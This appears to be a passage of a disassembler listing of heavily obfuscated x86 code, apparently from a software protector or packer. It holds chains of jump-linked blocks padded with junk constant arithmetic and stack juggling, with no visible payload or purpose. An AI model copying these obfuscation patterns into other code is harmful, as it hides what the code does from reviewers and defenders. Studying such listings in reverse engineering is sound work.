		sub	ebp, 4
		xchg	ebp, [esp+18h+var_1A+2]
		pop	esp
		mov	[esp+14h+var_16+2], ecx
		mov	ecx, 4
		push	ebp
		push	edx
		sub	esp, 4
		mov	[esp+20h+var_22+2], edi
		jmp	loc_590C21
; ---------------------------------------------------------------------------


loc_59BA64:				; CODE XREF: sub_57DD3A+211BBj
		sub	esp, 4
		mov	[esp+24h+var_26+2], esi
		mov	esi, 0
		mov	eax, esi
		jmp	loc_5951E2
; ---------------------------------------------------------------------------


loc_59BA79:				; CODE XREF: sub_57DD3A+19382j
		push	3DCD32B6h
		pop	esi
		or	esi, 7A355693h
		or	esi, 6D1D5296h
		inc	esi
		xor	esi, 14981E0Eh
		mov	ebp, esi
		mov	esi, [esp+3Ah+var_3A]
		add	esp, 4
		sub	esp, 4
		mov	[esp+3Ah+var_3A], ebp
		mov	ebp, 60747550h
		add	ebp, 0E8D7A679h
		sub	eax, ebp
		jmp	loc_5A2D9C
; ---------------------------------------------------------------------------


loc_59BAB8:				; CODE XREF: sub_57DD3A+163D9j
		and	cl, 26h
		shr	cl, 5
		add	cl, 0ECh
		inc	cl
		neg	cl
		dec	cl
		dec	cl
		push	edx
		mov	dh, 6Fh
		jmp	loc_5A0D1C
; ---------------------------------------------------------------------------


loc_59BAD1:				; CODE XREF: sub_57DD3A+14500j
		xor	ecx, 22052872h
		jmp	loc_59FDB2
; ---------------------------------------------------------------------------
		lodsd
		add	eax, 3AAD1BF1h
		add	eax, ebx
		push	edi
		mov	edi, 3AAD1BF1h
		push	esi
		mov	esi, 9D754F3h
		sub	eax, esi
		pop	esi
		push	edx
		mov	edx, 7D6A6B6Eh
		jmp	loc_5A243D
; ---------------------------------------------------------------------------


loc_59BAFE:				; CODE XREF: sub_57DD3A+1B86Aj
		sub	ebp, 1F9E19B4h
		jmp	loc_59A51C
; ---------------------------------------------------------------------------


loc_59BB09:				; CODE XREF: sub_57DD3A+136E0j
		add	esp, 4
		push	eax
		mov	eax, 51090FBCh
		dec	eax
		add	eax, 0C387120h
		and	eax, 2198642Bh
		push	ebp
		jmp	loc_59862A
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+2Eh+var_2E]
		jmp	loc_5A0B6A
; ---------------------------------------------------------------------------


loc_59BB2C:				; CODE XREF: sub_57DD3A+17FF0j
		push	[esp+18h+var_1A+2]
		pop	ecx
		push	esi
		push	esp
		jmp	loc_58FA84
; ---------------------------------------------------------------------------


loc_59BB37:				; CODE XREF: sub_57DD3A+10FE2j
		push	63A8h
		mov	[esp+26h+var_26], edx
		mov	dl, 67h
		sub	dl, 49h
		shl	dl, 5
		jmp	loc_5A0AE2
; ---------------------------------------------------------------------------


loc_59BB4C:				; CODE XREF: sub_57DD3A+14A1Ej
		pop	esp
		mov	[esp+0], ebp
		jmp	loc_597C25
; ---------------------------------------------------------------------------


loc_59BB55:				; CODE XREF: sub_57DD3A+1F848j
		xor	bh, ah
		mov	eax, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58F77F
; ---------------------------------------------------------------------------


loc_59BB6B:				; CODE XREF: sub_57DD3A+1822Ej
		mov	eax, 14486B86h
		neg	eax
		xor	eax, 0AF98C601h
		or	ebx, eax
		mov	eax, [esp+2Eh+var_2E]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+32h+var_32]
		jmp	loc_59C853
; ---------------------------------------------------------------------------


loc_59BB90:				; CODE XREF: sub_57DD3A+13EABj
		mov	edx, [esp+46h+var_46]
		add	esp, 4
		push	5359h
		mov	[esp+46h+var_46], ecx
		mov	ecx, 6D682484h
		jmp	loc_5A2E6D
; ---------------------------------------------------------------------------


loc_59BBA8:				; CODE XREF: sub_57DD3A+1D331j
		pop	esi
		jmp	loc_596321
; ---------------------------------------------------------------------------


loc_59BBAE:				; CODE XREF: sub_57DD3A+10D2Ej
		mov	ebp, 8A4B650h
		add	ebp, ecx
		mov	ecx, [esp+20h+var_22+2]
		jmp	loc_59E622
; ---------------------------------------------------------------------------


loc_59BBBD:				; CODE XREF: sub_57DD3A+235F2j
		push	ebp
		push	15AFh
		mov	[esp+28h+var_2A+2], ebx
		jmp	loc_58EF6D
; ---------------------------------------------------------------------------


loc_59BBCB:				; CODE XREF: sub_57DD3A+18D38j
		mov	ebx, 0A5A70F58h
		add	edi, ebx
		pop	ebx
		mov	ebx, edi
		pop	edi
		add	edi, ebx
		pop	ebx
		jmp	loc_590C81
; ---------------------------------------------------------------------------


loc_59BBDE:				; CODE XREF: sub_57DD3A+23F51j
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], ecx
		mov	ecx, 773D51B1h
		push	edx
		jmp	loc_59028F
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp+10h+var_12+2], ebp
		jmp	loc_59DC33
; ---------------------------------------------------------------------------


loc_59BBFA:				; CODE XREF: sub_57DD3A+23DDDj
		sub	edx, 66822774h
		sub	edx, 419D1FF8h
		jmp	loc_596EB1
; ---------------------------------------------------------------------------


loc_59BC0B:				; CODE XREF: sub_57DD3A+1EF9Fj
		push	edi
		mov	edi, esp
		jmp	loc_5909A7
; ---------------------------------------------------------------------------


loc_59BC13:				; CODE XREF: sub_57DD3A+23A6Cj
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59BC18:				; CODE XREF: sub_57DD3A+241AEj
		push	bx
		push	small word ptr [esp+16h+var_16+2]
		pop	bx
		jmp	loc_58EA21
; ---------------------------------------------------------------------------


loc_59BC26:				; CODE XREF: sub_57DD3A+187C8j
		xchg	esi, ebx
		jmp	loc_596A3C
; ---------------------------------------------------------------------------


loc_59BC2D:				; CODE XREF: sub_57DD3A+1CA39j
		push	eax
		mov	eax, 6B0F3FB6h
		add	[esp+4Eh+var_4C+2], 3DF847E4h
		sub	[esp+4Eh+var_4C+2], eax
		jmp	loc_59A7A1
; ---------------------------------------------------------------------------


loc_59BC44:				; CODE XREF: sub_57DD3A+15EBBj
		add	eax, edx
		push	ebx
		mov	ebx, 50066E28h
		sub	ebx, 451C6318h
		jmp	loc_5A1F4D
; ---------------------------------------------------------------------------


loc_59BC57:				; CODE XREF: sub_57DD3A+1967Cj
		add	esp, 4
		add	edi, 61470CBEh
		add	edi, ecx
		sub	edi, 61470CBEh
		add	edi, 661A5806h
		mov	ecx, [esp+60h+var_60]
		add	esp, 4
		sub	esp, 4
		mov	[esp+60h+var_60], eax
		push	ebx
		mov	ebx, 2
		jmp	loc_58F597
; ---------------------------------------------------------------------------


loc_59BC8B:				; CODE XREF: sub_57DD3A+1BC18j
		sub	ebp, 41274426h
		pop	eax
		xor	ebp, [esp+36h+var_36]
		jmp	loc_596A05
; ---------------------------------------------------------------------------


loc_59BC9A:				; CODE XREF: sub_57DD3A+1E63Bj
		push	2BE42D67h
		pop	edi
		not	edi
		xor	edi, 0D41BD299h
		mov	ecx, edi
		jmp	loc_590158
; ---------------------------------------------------------------------------


loc_59BCAF:				; CODE XREF: sub_57DD3A+16F81j
		sub	eax, 28307AA5h
		add	eax, edx
		add	eax, 28307AA5h
		pop	edx
		add	eax, ecx
		jmp	loc_5991F3
; ---------------------------------------------------------------------------


loc_59BCC3:				; CODE XREF: sub_57DD3A+12893j
		pop	esi
		add	ebp, edi
		jmp	loc_592709
; ---------------------------------------------------------------------------


loc_59BCCB:				; CODE XREF: sub_57DD3A+1C5CAj
		pop	ebp
		shr	ebp, 5
		xchg	edi, ebp
		jmp	loc_5A27B1
; ---------------------------------------------------------------------------


loc_59BCD6:				; CODE XREF: sub_57DD3A+20DB4j
		pop	ebx
		sub	eax, edx
		mov	edx, [esp+6+var_8+2]
		add	esp, 4
		push	esi
		mov	esi, 2B81480Ah
		sub	eax, esi
		pop	esi
		push	ecx
		mov	ecx, 2F405EB5h
		jmp	loc_59C9A9
; ---------------------------------------------------------------------------


loc_59BCF6:				; CODE XREF: sub_57DD3A+21511j
		push	ecx
		mov	ch, 32h
		sub	al, ch
		mov	ecx, [esp+0]
		push	ecx
		mov	ecx, esp
		jmp	loc_59218A
; ---------------------------------------------------------------------------


loc_59BD06:				; CODE XREF: sub_57DD3A+211D2j
		sub	esi, 4
		xchg	esi, [esp+0Eh+var_E]
		pop	esp
		jmp	loc_5A16B5
; ---------------------------------------------------------------------------


loc_59BD12:				; CODE XREF: sub_57DD3A+16F32j
		push	ecx
		mov	ecx, esp
		jmp	loc_5995E9
; ---------------------------------------------------------------------------


loc_59BD1A:				; CODE XREF: sub_57DD3A+170F6j
		add	ebp, 0ED31881h
		add	ebp, 0D7A8FEE2h
		mov	esi, ebp
		pop	ebp
		and	esi, 31234352h
		push	esi
		not	[esp+68h+var_68]
		jmp	loc_595DA1
; ---------------------------------------------------------------------------


loc_59BD38:				; CODE XREF: sub_57DD3A+1FC7Dj
		not	eax
		add	eax, 1
		sub	eax, 9A0DB0A2h
		add	esi, eax
		pop	eax
		xor	esi, [esp+64h+var_64]
		xor	[esp+64h+var_64], esi
		xor	esi, [esp+64h+var_64]
		jmp	loc_5A0216
; ---------------------------------------------------------------------------


loc_59BD55:				; CODE XREF: sub_57DD3A+1C446j
		mov	esi, 3580004Bh
		jmp	loc_59104A
; ---------------------------------------------------------------------------


loc_59BD5F:				; CODE XREF: sub_57DD3A+14D19j
		mov	ebx, ebp
		pop	ebp
		sub	ebx, 43DA6F72h
		shr	ebx, 3
		sub	ebx, 0FFFFFFFFh
		xor	ebx, 3F4D0798h
		and	ebx, 539F1F4Ah
		add	ebx, 1EB30C75h
		sub	ecx, ebx
		pop	ebx
		neg	ecx
		jmp	loc_59A69D
; ---------------------------------------------------------------------------


loc_59BD8A:				; CODE XREF: sub_57DD3A+233A1j
		pop	ebx
		add	al, cl
		mov	cx, word ptr [esp-6+arg_0+2]
		add	esp, 2
		sub	al, bl
		jmp	loc_59EA57
; ---------------------------------------------------------------------------


loc_59BD9B:				; CODE XREF: sub_57DD3A+169F6j
		pop	[esp+22h+var_22]
		pop	esp
		sub	[esp+1Ah+var_16], ebx
		add	[esp+1Ah+var_16], 1DDB3106h
		pop	ebx
		jmp	loc_59FA87
; ---------------------------------------------------------------------------


loc_59BDB1:				; CODE XREF: sub_57DD3A+17E04j
		add	ecx, 0CC618F0h
		sub	esi, 43AC6B4Fh
		sub	esi, 0C654D57h
		add	esi, ecx
		add	esi, 0C654D57h
		add	esi, 43AC6B4Fh
		jmp	loc_59513C
; ---------------------------------------------------------------------------


loc_59BDD6:				; CODE XREF: sub_57DD3A+2231Dj
		add	esi, 0FFFFFFFFh
		jmp	loc_595B63
; ---------------------------------------------------------------------------


loc_59BDE1:				; CODE XREF: sub_57DD3A+19ED4j
		mov	ebp, 2B4554Eh
		push	edx
		push	ebx
		mov	ebx, 7B354D75h
		mov	edx, 3A5A093Fh
		xor	edx, ebx
		pop	ebx
		xor	ebp, edx
		pop	edx
		jmp	loc_594EFB
; ---------------------------------------------------------------------------


loc_59BDFD:				; CODE XREF: sub_57DD3A+1920Fj
		mov	bl, dl
		jmp	loc_59665A
; ---------------------------------------------------------------------------


loc_59BE04:				; CODE XREF: sub_57DD3A+24066j
		pop	esp
		jmp	loc_599487
; ---------------------------------------------------------------------------


loc_59BE0A:				; CODE XREF: sub_57DD3A+1B340j
		pop	esp
		sub	esp, 4
		mov	[esp+2Ah+var_2A], eax
		mov	eax, 5A150277h
		add	eax, 0CFA17471h
		push	ecx
		mov	ecx, 0F2F39C2h
		and	ecx, 0FD31146h
		shr	ecx, 3
		add	ecx, 79C81976h
		sub	ecx, 51F204B8h
		add	eax, 68BE5230h
		jmp	loc_58EF13
; ---------------------------------------------------------------------------


loc_59BE40:				; CODE XREF: sub_57DD3A+163EBj
		push	[esp+90h+var_90]
		jmp	loc_592912
; ---------------------------------------------------------------------------


loc_59BE48:				; CODE XREF: sub_57DD3A+21EDBj
		mov	dh, bh
		jmp	loc_58F1BD
; ---------------------------------------------------------------------------


loc_59BE4F:				; CODE XREF: sub_57DD3A+127EAj
		sub	dh, 0FFh
		sub	esp, 4
		mov	[esp+22h+var_22], ebx
		mov	bl, 45h
		inc	bl
		shr	bl, 2
		sub	esp, 4
		mov	[esp+26h+var_26], ecx
		mov	cl, 0D0h
		or	bl, cl
		pop	ecx
		sub	bl, 0B6h
		xor	dh, bl
		mov	ebx, [esp+22h+var_22]
		push	ecx
		jmp	loc_59AB1F
; ---------------------------------------------------------------------------


loc_59BE7E:				; CODE XREF: sub_57DD3A+217E9j
		push	[esp+26h+var_26]
		jmp	loc_59B560
; ---------------------------------------------------------------------------


loc_59BE86:				; CODE XREF: sub_57DD3A+1E87Aj
		sub	eax, edi
		jmp	loc_59D0A2
; ---------------------------------------------------------------------------


loc_59BE8D:				; CODE XREF: sub_57DD3A+1BCB0j
		sub	edx, 4
		jmp	loc_59CFAE
; ---------------------------------------------------------------------------


loc_59BE95:				; CODE XREF: sub_57DD3A+15661j
		xor	[esp+84h+var_84], esi
		xor	esi, [esp+84h+var_84]
		pop	esp
		mov	[esp+80h+var_80], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+80h+var_80]
		pop	esp
		pop	ebp
		push	662Ch
		mov	[esp+7Ch+var_7C], ebx
		mov	ebx, 400h
		and	eax, ebx
		push	[esp+7Ch+var_7C]
		pop	ebx
		push	edx
		push	esp
		jmp	loc_5A0CAE
; ---------------------------------------------------------------------------


loc_59BEC9:				; CODE XREF: sub_57DD3A+18ED9j
		mov	[esp+26h+var_26], ebp
		push	eax
		push	6A12h
		mov	[esp+2Eh+var_2E], edi
		jmp	loc_591E02
; ---------------------------------------------------------------------------


loc_59BEDA:				; CODE XREF: sub_57DD3A+1CBF2j
		add	esp, 4
		sub	eax, 66F67FC2h
		jmp	loc_58F232
; ---------------------------------------------------------------------------


loc_59BEE7:				; CODE XREF: sub_57DD3A+1D2B5j
		push	ecx
		mov	ecx, 2A7A3D20h
		xor	ecx, 30E3662h
		push	eax
		mov	eax, 3A5055D4h
		xor	ecx, eax
		pop	eax
		sub	esi, ecx
		pop	ecx
		mov	ebp, [esp+12h+var_12]
		add	esp, 4
		xchg	esi, [esp+0Eh+var_E]
		jmp	loc_58F015
; ---------------------------------------------------------------------------


loc_59BF0D:				; CODE XREF: sub_57DD3A+1C2CDj
		not	esi
		push	3746h
		mov	[esp+36h+var_36], ecx
		jmp	loc_59B4B9
; ---------------------------------------------------------------------------


loc_59BF1C:				; CODE XREF: sub_57DD3A+15FE9j
		xor	edi, [esp+3Eh+var_3E]
		pop	esp
		and	word ptr [esp+3Ah+var_3A], ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59BF2A:				; CODE XREF: sub_57DD3A+16B52j
		mov	dl, 33h
		jmp	loc_59767C
; ---------------------------------------------------------------------------


loc_59BF31:				; CODE XREF: sub_57DD3A+129DFj
		sub	esp, 4
		mov	[esp+1Eh+var_1E], edx
		push	517E7BB6h
		pop	edx
		and	edx, 150456AAh
		or	edx, 499627EBh
		sub	esp, 4
		mov	[esp+22h+var_22], ebp
		push	2059787Eh
		pop	ebp
		xchg	ecx, ebp
		dec	ecx
		jmp	loc_5939DB
; ---------------------------------------------------------------------------


loc_59BF60:				; CODE XREF: sub_57DD3A+154F4j
		sub	ecx, 70BC33C8h
		sub	ecx, edx
		add	ecx, 70BC33C8h
		pop	edx
		xchg	ecx, [esp+0Ch+var_E+2]
		pop	esp
		jmp	loc_5A2C9A
; ---------------------------------------------------------------------------


loc_59BF78:				; CODE XREF: sub_57DD3A+24247j
		xor	ah, ch
		pop	ecx
		sub	ah, 4Dh
		add	dh, 0DFh
		add	dh, ah
		jmp	loc_58FABB
; ---------------------------------------------------------------------------


loc_59BF88:				; CODE XREF: sub_57DD3A+22401j
		pop	edx
		jmp	loc_59495E
; ---------------------------------------------------------------------------
		push	dx
		jmp	loc_59E410
; ---------------------------------------------------------------------------


loc_59BF95:				; CODE XREF: sub_57DD3A+201F1j
		push	ecx
		push	5B4921D3h
		pop	ecx
		jmp	loc_5A0307
; ---------------------------------------------------------------------------


loc_59BFA1:				; CODE XREF: sub_57DD3A+1B20Dj
		add	esp, 4
		push	edx
		push	[esp+30h+var_2E+2]
		mov	edx, [esp+34h+var_36+2]
		jmp	loc_5A2678
; ---------------------------------------------------------------------------


loc_59BFB4:				; CODE XREF: sub_57DD3A+15694j
		add	esp, 4
		add	edi, 4
		sub	edi, 4
		jmp	loc_598D14
; ---------------------------------------------------------------------------
		mov	sp, word ptr [esp+84h+var_84]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59BFCE:				; CODE XREF: sub_57DD3A+1F69Fj
		mov	bl, ch
		pop	ecx
		mov	edx, [esp+80h+var_80]
		add	esp, 4
		jmp	loc_59A42D
; ---------------------------------------------------------------------------


loc_59BFDC:				; CODE XREF: sub_57DD3A+139D9j
		sub	esp, 4
		jmp	loc_598E0C
; ---------------------------------------------------------------------------


loc_59BFE7:				; CODE XREF: sub_57DD3A+150F1j
		add	ecx, eax
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp+10h+var_12+2]
		pop	esp
		jmp	loc_5A07B4
; ---------------------------------------------------------------------------


loc_59BFF6:				; CODE XREF: sub_57DD3A+18B91j
		add	ebp, 0CF42BAA2h
		add	ecx, ebp
		mov	ebp, [esp+50h+var_50]
		add	esp, 4
		jmp	loc_5947C2
; ---------------------------------------------------------------------------


loc_59C00C:				; CODE XREF: sub_57DD3A+2333Bj
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		push	70ACh
		mov	[esp+4Ch+var_4C], eax
		xor	[esp+4Ch+var_4C], esi
		xor	esi, [esp+4Ch+var_4C]
		xor	[esp+4Ch+var_4C], esi
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		sub	esp, 4
		mov	[esp+50h+var_50], edi
		push	esi
		jmp	loc_5A16A7
; ---------------------------------------------------------------------------


loc_59C038:				; CODE XREF: sub_57DD3A+1F0CBj
		xor	bl, 91h
		dec	bl
		add	bl, 20h
		jmp	loc_59408F
; ---------------------------------------------------------------------------


loc_59C045:				; CODE XREF: sub_57DD3A+1080Ej
		sub	eax, edi
		pop	edi
		xchg	eax, [esp+10h+var_12+2]
		pop	esp
		mov	[esp+0Ch+var_E+2], ecx
		push	edi
		mov	edi, 1C7A6412h
		push	ecx
		mov	ecx, 16BE093Ah
		or	edi, ecx
		pop	ecx
		xor	edi, 1EFE6D38h
		mov	ecx, edi
		pop	edi
		jmp	loc_595A06
; ---------------------------------------------------------------------------


loc_59C06C:				; CODE XREF: sub_57DD3A+14645j
		or	[edi+1Ch], ebp
		mov	ebp, [esp+78h+var_78]
		push	eax
		jmp	loc_5A1974
; ---------------------------------------------------------------------------


loc_59C078:				; CODE XREF: sub_57DD3A+13BA9j
		pop	[esp+22h+var_22]
		push	ebp
		mov	ebp, 4
		add	[esp+22h+var_1E], ebp
		pop	ebp
		mov	edi, [esp+1Eh+var_1E]
		push	edi
		mov	edi, esp
		jmp	loc_594903
; ---------------------------------------------------------------------------


loc_59C091:				; CODE XREF: sub_57DD3A+197A7j
		add	ecx, ebx
		pop	ebx
		add	edi, ecx
		pop	ecx
		mov	edx, edi
		mov	edi, [esp+7Ch+var_7C]
		add	esp, 4
		push	edi
		mov	edi, 20BC1BD0h
		add	edx, edi
		pop	edi
		sub	esi, edx
		mov	edx, [esp+78h+var_78]
		add	esp, 4
		jmp	loc_58F45E
; ---------------------------------------------------------------------------


loc_59C0B8:				; CODE XREF: sub_57DD3A+119B7j
		shl	edx, 1
		push	ebx
		push	6E883234h
		pop	ebx
		sub	ebx, 6E883235h
		sub	[edi+24h], ebx
		mov	ebx, [esp+84h+var_84]
		sub	esp, 4
		mov	[esp+88h+var_88], ecx
		mov	ecx, esp
		push	ebx
		mov	ebx, 3BAE2725h
		push	edi
		mov	edi, 5C406DECh
		sub	ebx, edi
		pop	edi
		dec	ebx
		shr	ebx, 3
		sub	ebx, 1BEDB723h
		add	ecx, 445C0174h
		add	ecx, 53475503h
		add	ecx, 2332037Dh
		add	ecx, ebx
		sub	ecx, 2332037Dh
		sub	ecx, 53475503h
		sub	ecx, 445C0174h
		mov	ebx, [esp+8Ch+var_8C]
		add	esp, 4
		jmp	loc_5A2A44
; ---------------------------------------------------------------------------


loc_59C122:				; CODE XREF: sub_57DD3A+21D2Fj
		mov	[esp+88h+var_88], esi
		push	[esp+88h+var_84]
		pop	esi
		pop	[esp+88h+var_88]
		pop	esp
		sub	ecx, 4
		jmp	loc_59F4F3
; ---------------------------------------------------------------------------


loc_59C139:				; CODE XREF: sub_57DD3A+2105Ej
		pop	ebx
		shl	esi, 2
		sub	esi, 1
		neg	esi
		not	esi
		dec	esi
		jmp	loc_5A0668
; ---------------------------------------------------------------------------


loc_59C14D:				; CODE XREF: sub_57DD3A+1A65Aj
		mov	fs:[edx], ax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59C156:				; CODE XREF: sub_57DD3A+1A1DFj
		push	[esp+64h+var_64]
		push	[esp+68h+var_68]
		pop	ecx
		jmp	loc_595639
; ---------------------------------------------------------------------------


loc_59C162:				; CODE XREF: sub_57DD3A+22C2Bj
		pop	ebx
		xchg	ebp, [esp+64h+var_64]
		pop	esp
		mov	[esp+60h+var_60], esi
		push	ebx
		mov	ebx, 2
		push	ecx
		push	ebx
		jmp	loc_5A2837
; ---------------------------------------------------------------------------


loc_59C177:				; CODE XREF: sub_57DD3A+225B8j
		or	ecx, 565858FFh
		jmp	loc_599EC7
; ---------------------------------------------------------------------------


loc_59C182:				; CODE XREF: sub_57DD3A+2421Fj
		sub	eax, 1F531804h
		add	eax, ebx
		add	eax, 1F531804h
		push	[esp+6Ch+var_6C]
		pop	ebx
		add	esp, 4
		jmp	loc_592E30
; ---------------------------------------------------------------------------


loc_59C19D:				; CODE XREF: sub_57DD3A+139BBj
		pop	[esp+5Ch+var_5C]
		mov	esp, [esp+58h+var_58]
		jmp	loc_5A12DC
; ---------------------------------------------------------------------------


loc_59C1A8:				; CODE XREF: sub_57DD3A+2019Fj
		xor	ecx, [esp+58h+var_58]
		xor	[esp+58h+var_58], ecx
		xor	ecx, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		push	16Bh
		mov	[esp+5Ch+var_5C], esp
		push	esi
		mov	esi, 426C7E0Fh
		xor	esi, 5F8E513Dh
		add	esi, 6A045656h
		xor	esi, 87E6858Ch
		add	[esp+60h+var_5C], esi
		pop	esi
		pop	[esp+5Ch+var_5C]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_59213A
; ---------------------------------------------------------------------------


loc_59C1EA:				; CODE XREF: sub_57DD3A+1BD0Ej
		and	edi, 1D7105A7h
		add	edi, 31BE44A2h
		push	eax
		mov	eax, 233418A3h
		sub	edx, 0EB929D8h
		add	edx, eax
		push	61DEh
		mov	[esp+4Eh+var_50+2], edi
		mov	edi, 0EB929D8h
		add	edx, edi
		pop	edi
		mov	eax, [esp+4Ah+var_4C+2]
		add	esp, 4
		sub	edx, edi
		sub	edx, 233418A3h
		pop	edi
		jmp	loc_5A1499
; ---------------------------------------------------------------------------


loc_59C228:				; CODE XREF: sub_57DD3A+1CDBBj
		push	4B0Fh
		mov	[esp+5Ch+var_5C], edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_5A18C6
; ---------------------------------------------------------------------------


loc_59C23D:				; CODE XREF: sub_57DD3A+1817Aj
		push	0
		sub	[esp+52h+var_54+2], edx
		pop	edx
		shl	edx, 3
		jmp	loc_59815A
; ---------------------------------------------------------------------------


loc_59C24E:				; CODE XREF: sub_57DD3A+195E4j
		sub	ebp, 0EBC0C709h
		sub	eax, 272D2CB9h
		sub	eax, ebp
		add	eax, 272D2CB9h
		pop	ebp
		jmp	loc_598212
; ---------------------------------------------------------------------------


loc_59C266:				; CODE XREF: sub_57DD3A+158D3j
		add	esp, 4
		pop	ebp
		add	edx, esi
		pop	esi
		mov	edi, [esp+34h+var_36+2]
		add	esp, 4
		add	edx, 2
		push	edx
		push	[esp+34h+var_32+2]
		pop	edx
		pop	[esp+34h+var_36+2]
		mov	esp, [esp+30h+var_32+2]
		jmp	loc_58F147
; ---------------------------------------------------------------------------


loc_59C287:				; CODE XREF: sub_57DD3A+238A8j
		xor	ebp, 0F61B39D3h
		and	ebp, 3D787B3Ch
		xor	ebp, 5182A2Eh
		add	esi, 13245E96h
		add	esi, 2CFA6C38h
		add	esi, ebp
		jmp	loc_59AFE9
; ---------------------------------------------------------------------------


loc_59C2AC:				; CODE XREF: sub_57DD3A+1C63Aj
		push	ebx
		mov	bh, 0D6h
		mov	ah, 0A0h
		jmp	loc_591D9F
; ---------------------------------------------------------------------------


loc_59C2B6:				; CODE XREF: sub_57DD3A+1DAC1j
		sub	eax, 4
		xchg	eax, [esp-6+arg_0+2]
		pop	esp
		mov	[esp-0Ah+arg_6], ebx
		jmp	loc_58FD59
; ---------------------------------------------------------------------------


loc_59C2C5:				; CODE XREF: sub_57DD3A+21807j
		mov	eax, 2223358Eh
		jmp	loc_59F487
; ---------------------------------------------------------------------------


loc_59C2CF:				; CODE XREF: sub_57DD3A+20439j
		mov	ebx, 75C37148h
		mov	edx, ebx
		pop	ebx
		and	edx, 7B36CDEh
		sub	edx, 3FCD5F98h
		xor	ebx, edx
		mov	edx, [esp-0Eh+arg_A]
		add	esp, 4
		add	ebp, ebx
		mov	ebx, [esp-12h+arg_E]
		add	esp, 4
		add	ebp, 4
		jmp	loc_59DB0B
; ---------------------------------------------------------------------------


loc_59C301:				; CODE XREF: sub_57DD3A+15F59j
		mov	ebx, 0D82212F0h
		jmp	loc_59A1EC
; ---------------------------------------------------------------------------


loc_59C30B:				; CODE XREF: sub_57DD3A+108B7j
		mov	eax, [esp+14h+var_16+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5910DE
; ---------------------------------------------------------------------------


loc_59C31C:				; DATA XREF: sub_57DD3A+10502o
		mov	cx, word ptr [esp+18h+var_1A+2]
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebx
		jmp	loc_5A2323
; ---------------------------------------------------------------------------


loc_59C333:				; CODE XREF: sub_57DD3A+1686Bj
		shl	edi, 6
		xor	edi, 793C779Fh
		jmp	loc_5A280D
; ---------------------------------------------------------------------------


loc_59C341:				; CODE XREF: sub_57DD3A+15A0Bj
		pop	esp
		add	esp, 4
		and	eax, ebx
		mov	ebx, [esp+5Ah+var_5C+2]
		add	esp, 4
		push	eax
		push	ecx
		pop	eax
		pop	ecx
		not	ecx
		jmp	loc_599F47
; ---------------------------------------------------------------------------


loc_59C358:				; CODE XREF: sub_57DD3A+1C13Aj
		push	edi
		push	ecx
		mov	ecx, 1E8271DEh
		mov	edi, ecx
		pop	ecx
		shl	edi, 6
		add	edi, 19D262ECh
		sub	esp, 4
		mov	[esp+5Ah+var_5C+2], ecx
		push	edi
		jmp	loc_59BC9A
; ---------------------------------------------------------------------------


loc_59C37A:				; CODE XREF: sub_57DD3A+167D7j
		sub	edi, 74DF5119h
		sub	edi, 758B45A0h
		add	edi, ecx
		jmp	loc_596F68
; ---------------------------------------------------------------------------


loc_59C38D:				; CODE XREF: sub_57DD3A+219AAj
		push	65B9h
		mov	[esp+50h+var_50], edx
		jmp	loc_59D3D2
; ---------------------------------------------------------------------------


loc_59C39A:				; CODE XREF: sub_57DD3A+19589j
		mov	eax, 1E882743h
		add	[esp+3Ah+var_2E], eax
		pop	eax
		jmp	loc_5A0E62
; ---------------------------------------------------------------------------


loc_59C3A9:				; CODE XREF: sub_57DD3A+21B81j
		pop	edi
		xor	eax, ebp
		mov	ebp, [esp+32h+var_32]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+36h+var_36]
		jmp	loc_5A1EBA
; ---------------------------------------------------------------------------


loc_59C3C3:				; CODE XREF: sub_57DD3A+11351j
		push	513B3350h
		jmp	loc_59A185
; ---------------------------------------------------------------------------


loc_59C3CD:				; CODE XREF: sub_57DD3A+16CD5j
		mov	ebx, [esp+18h+var_1A+2]
		add	esp, 4
		jmp	loc_58F687
; ---------------------------------------------------------------------------


loc_59C3D8:				; CODE XREF: sub_57DD3A+1F5A4j
		add	esi, 6452B79h
		add	esi, ebx
		sub	esi, 6452B79h
		pop	ebx
		push	edi
		push	ecx
		jmp	loc_594EEB
; ---------------------------------------------------------------------------


loc_59C3EE:				; CODE XREF: sub_57DD3A+13B3Ej
		push	esp
		jmp	loc_59011D
; ---------------------------------------------------------------------------


loc_59C3F4:				; CODE XREF: sub_57DD3A+1A74Cj
		push	[esp+68h+var_68]
		mov	edx, [esp+6Ch+var_6C]
		add	esp, 4
		push	edi
		push	esp
		jmp	loc_593902
; ---------------------------------------------------------------------------


loc_59C407:				; DATA XREF: sub_57DD3A+103E2o
		lodsd
		xor	eax, ebx
		push	edi
		push	ebx
		sub	esp, 4
		mov	[esp+7Ch+var_7C], edx
		mov	edx, esp
		jmp	loc_5A0A8F
; ---------------------------------------------------------------------------


loc_59C419:				; CODE XREF: sub_57DD3A+22BB0j
		add	edx, 600313A1h
		push	ebp
		jmp	loc_5A1436
; ---------------------------------------------------------------------------


loc_59C425:				; CODE XREF: sub_57DD3A+1FFC0j
		push	ebx
		mov	ebx, 31317E1Dh
		push	ebx
		jmp	loc_5A2894
; ---------------------------------------------------------------------------


loc_59C431:				; CODE XREF: sub_57DD3A+22992j
		xor	esi, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		xor	edx, [esp+88h+var_88]
		jmp	loc_5A254F
; ---------------------------------------------------------------------------


loc_59C43F:				; CODE XREF: sub_57DD3A+15BF5j
